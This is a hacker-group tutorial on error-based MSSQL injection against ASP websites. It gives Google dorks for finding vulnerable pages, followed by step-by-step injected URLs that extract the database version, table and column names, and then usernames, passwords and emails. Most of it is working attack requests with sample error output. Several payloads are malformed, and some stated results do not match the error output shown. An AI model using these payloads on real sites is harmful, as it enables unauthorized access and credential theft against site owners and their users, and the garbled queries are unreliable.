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- MSSQL Injection - Method Of Attack
- BANGLADESHI HACKER.
- Bangladesh Cyber Army
- MSSQL - injection, method of attack!
- ###########################
- in this tutorial:
- 1.1 Introduction
- 1.2 How to ask Vulnerability page?
- 1.3 How to prove that the site of weakness?
- 1.4 How to find version / name of the DB?
- 1.5 How to discover the names table (table_name)?
- 1.6 How to discover the names of column (column_name)?
- 1.7 How to get data from tables that interest us (eg name, pass, email, etc.)?
- 1.8 Conclusion?
- [1.1 Introduction]
- ############
- This lesson will try to explain that you already know the different techniques, MSSQL-injection.
- Who will have the opportunity to learn how this method is used as a favorite act to obtain information (name, password and login) or various other information through this technique.
- MSSQL-injection, can be used for products that are created by well-known company Microsoft.
- This type of injection, then deal with those sites that are coded in ASP / Aspks etc.
- There are several types of attacks in this way:
- * - Normal MSSQL SQL Injection attacks
- * - MSSQL injection in Web services (SOAP injection)
- * - Union with MSSQL injection attack
- * - ODBC error attack the "Convert"
- * - MSSQL Blind SQL Injection attacks, etc. ..
- For this will be used for writing this type of attack:
- "Attack of the ODBC error message" Convert "
- [1.2 How to ask Vulnerability page? ]
- ############################
- How to ask who Vulnerability page is easy. This can use Google services company giant.
- Let's open: Google
- I write, for example: inurl: "products". "ID"
- inurl: "neus.asp" menu "
- inurl: "content.asp" under "
- inurl: "games.asp" ID "
- ETC ....( I decided some examples, you can now use the logic, for better dorks)
- [1.3 How to prove that the site of weakness? ]
- ##################################
- So we can understand very easily by adding the following ID page of high comma (,).
- And in case that gives us the answer we found no error page means Vulnerability example:
- ++++++++++++++++++++++++++++++++++++++
- / Microsoft Access ODBC driver /
- ++++++++++++++++++++++++++++++++++++++
- / Open quotation /
- ++++++++++++++++++++++++++++++++++++++
- / Microsoft Amos DB provider for Oracle /
- ++++++++++++++++++++++++++++++++++++++
- / Division by zero in /
- ++++++++++++++++++++++++++++++++++++++
- These are some of the most common response is shown pages that are weaknesses in the MSSQL - injection.
- Should now act as an example here, and where to put high ( ').
- For example:
- --------------------------------------
- http://www.localhost.com/ / news.asp? id = 100 '
- --------------------------------------
- Now we can say that the error is displayed:
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e14 '
- Open quotation mark after the character string ") AND (Volgorde> 0) ORDER BY Volgorde '.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- This page has weaknesses!
- [1.4 How to find version 2.4 / DB name? ]
- ############################
- Let the example easier to understand:
- Version:
- -------------------------------------------------- ------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (@ @ version)) --
- -------------------------------------------------- ------------------
- And we have presented an example:
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion failed when converting nvarchar value 'MS SQL Server 2008 (SP1) - 10.0.2531.0 (64) 29. March 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Edition (64-bit), the operating systems Windows NT 6.0 <x64> (Build 6002: Service Pack 2) (SM), a data type Int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
- Now go find DB_Name:
- -------------------------------------------------- -------------------
- http://www.localhost.com/ /news.asp? id = 100 + or +1 = convert (int (DB_Name ()))--
- -------------------------------------------------- -------------------
- eg.
- ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion is not EVILZONE_CREW_DB when converting nvarchar value 'to data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
- [1.5 How to discover the names table (table_name)]
- ######################################
- Because it is discovered, or simply to find the side of the table goes through this method.
- For example:
- -------------------------------------------------- -------------------------------------------------- --------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from information_schema.tables)) --
- -------------------------------------------------- -------------------------------------------------- --------------
- And now there will be a mistake, such as:
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion is when converting nvarchar value of users' data on the type Int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- That is, in this case the table (table_name) The first is the 'Users', now find the following table:
- For example:
- -------------------------------------------------- -------------------------------------------------- ------------------------------------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users')))--
- -------------------------------------------------- -------------------------------------------------- ------------------------------------------------
- And now an error message will appear the same and will give another table:
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion is not news when converting nvarchar value 'to data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Another table in this case is 'news'
- Now to find the table (table_name) third goes like this:
- For example:
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users',' news')))--
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------
- I appear to us the third table:
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion is when converting nvarchar value categories' of data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Then the third table 'categories', and so on until you find all the tables.
- For example:
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users', 'news', 'Categories'))) --
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
- [1.6 How to discover the names of column (column_name)]
- ###########################################
- -If you want to column_name for users as' go:
- For example:
- -------------------------------------------------- -------------------------------------------------- -----------------------------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users'))--
- -------------------------------------------------- -------------------------------------------------- -----------------------------------------
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion failed when converting nvarchar value 'Name' to data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- So colums name for the table (table_name) 'Users' the 'name'
- Now find the column (column_name) other at the same table 'Users':
- For example:
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users' and column_name (' name')))--
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- --------------------------
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion is not a password when converting nvarchar value 'to data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- columnes name (column_name) the other is 'password', now go find a rotating column_name:
- For example:
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users' and column_name ( 'name', 'password'))) --
- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion failed when converting nvarchar value 'emailaddress' to data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Therefore, the third Colum_name 'emailaddress' and so on and on until the end, to find all of the columns (column_name)!
- [1.7 How to get data that interest you (our user name, pass, email, etc.)]
- ################################################## ###
- To do so you do not have anything to ndyshe we mentioned before.
- In this section, all that needs to be done is to table (table_name), and the names of column (column_name) in their earlier results found.
- In this section will be used:
- Table_name = Users
- Column_name = user name, password, emailaddress!
- Some have now replaced the example:
- -------------------------------------------------- -----------------------------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 name from Users)) --
- -------------------------------------------------- -----------------------------------------
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion is not an administrator when converting nvarchar value 'to data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- user name : Administrator
- Replacing now the first column "Name" in the second column "password":
- For example:
- -------------------------------------------------- -----------------------------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top password from the user 1)) --
- -------------------------------------------------- -----------------------------------------
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- Microsoft Amos DB Provider for SQL Server error '80040e07 '
- Conversion failed when converting nvarchar value '123456 'to data type int.
- / MSN / shared / includes / main_rub.asp, Line 4
- ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
- password: administratorpassword123
- Now, instead of rotating columns works the same as above:
- For example:
- -------------------------------------------------- ---------------------------------------------
- http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 from users emailaddress)) --
- -------------------------------------------------- ---------------------------------------------
- emailaddress: king.cyborg@yahoo.com
- Here then we have achieved some info on, and the name / pass and emailaddress page.
- user name: Administrator
- password: administratorpassword123
- emailaddress: [email]king.cyborg@yahoo.com/email]
- [ 1.8 Conclusion ]
- ############
- ================================================== ===========================
- www.localhost.com/news.asp?id=100'
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...(@@version))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...(db_name()))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users')))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'members')))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'members' , 'categories')))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 column_name from information_schema.columns where table_name='Users'))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username')))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username' , 'password')))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 username from Users))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 password from Users))--
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- http://www.localhost.com/news.asp?id...rt(int,(select top 1 emailaddress from Users))--
- ================================================== ==========================
- www.bdcyberarmy.com
- www.facebook.com/groups/bdcyberarmy
- _____________________
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